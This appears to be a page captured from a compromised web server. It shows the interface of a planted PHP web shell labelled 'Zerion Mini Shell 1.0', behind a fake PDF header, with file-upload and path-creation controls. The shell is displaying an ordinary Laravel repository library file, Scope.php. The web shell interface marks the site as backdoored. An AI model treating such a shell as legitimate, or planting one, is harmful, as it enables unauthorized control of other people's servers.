%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/news/vendor/czim/laravel-repository/src/Criteria/Common/
Upload File :
Create Path :
Current File : /var/www/html/news/vendor/czim/laravel-repository/src/Criteria/Common/Scope.php

<?php
namespace Czim\Repository\Criteria\Common;

use Czim\Repository\Criteria\AbstractCriteria;

/**
 * Applies a SINGLE scope
 */
class Scope extends AbstractCriteria
{

    /**
     * @var string
     */
    protected $scope;

    /**
     * @var array
     */
    protected $parameters;


    /**
     * @param string $scope
     * @param array  $parameters
     */
    public function __construct($scope, array $parameters = [])
    {
        $this->scope      = $scope;
        $this->parameters = $parameters;
    }

    /**
     * @param $model
     * @return mixed
     */
    protected function applyToQuery($model)
    {
        $model = call_user_func_array([ $model, $this->scope ], $this->parameters);

        return $model;
    }
}

Zerion Mini Shell 1.0